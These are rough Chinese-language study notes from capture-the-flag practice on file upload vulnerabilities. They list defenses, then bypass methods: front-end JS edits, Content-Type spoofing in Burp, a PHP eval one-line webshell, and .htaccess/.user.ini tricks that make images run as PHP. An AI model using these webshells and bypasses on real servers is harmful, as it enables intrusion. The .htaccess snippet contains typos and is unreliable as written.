-
文件上传漏洞
- 程序员对未上传的文件进行严格的厌憎和过滤,导致用户可以上传可执行的动态脚本文件
- 头像上传、文件上传、媒体上传
-
防御措施
- 上传文件的存储位置与服务器分离
- 上传文件重新修改文件名、文件后缀名
- 看后缀名是否防止修改
- 前端传递,后端校验
- 看后缀名是否防止修改
- 文件上传的上传保存路径根据业务进行分离;下载根据重新生成的文件名下载
-
文件上传,验证/绕过,措施
-
前端/js类绕过
- 页面直接修改js上传文件后缀进行修改
- 抓包改包,改后缀名
- wenjain.jpg-->抓包-->wenjian.jsp
- 后端
*
-
- 程序员对未上传的文件进行严格的厌憎和过滤,导致用户可以上传可执行的动态脚本文件
php语句不对,重写(关火绒)
js前端
查看元素
修改后缀php
上传,文件路径
post
x=system("ls");
查到目录,用x=system("ls ../");
查看上一级,找到flag.php
x=system("tac ../flag.php");



利用bp改content-type
首先,尝试第一种方法,不可行
用bp抓包,发现content-type特点
尝试修改元素后上传php一句话木马
抓包,修改type为image/png
放行
上传成功
按第一步来
x=system("tac ../flag.php");
flag出现






如果把下面的png格式修改为
<?php eval($_POST[x]);?>
是不可以找到flag的
不可以是图片木马

不能连接蚁剑,一个png一个php
.htaccess文件
apache的一个配置文件,负责相关目录下的网页配置
实现网页301重定向,自定义404页面错误,改变文件扩展名,允许或阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等
<fileMatch "\.jpg>
SEHandler application/x-httpd-php
</FileMatch>
先分析源码
对php,asp,jsp等进行过滤,大小写的方式也不行
phP&&php5不行的话
但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell
因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件
stack.jpg
<?php eval($_POST['x']);?>
找绝对路径,连接蚁剑
.user.ini其实是用户自定义的一个php.ini
是PHP的全局配置文件,对web服务起作用
利用这个文件来构造后门和隐藏后门
按前面方法继续尝试,发现不行,大小写,加数字,也不可以,需要重新下载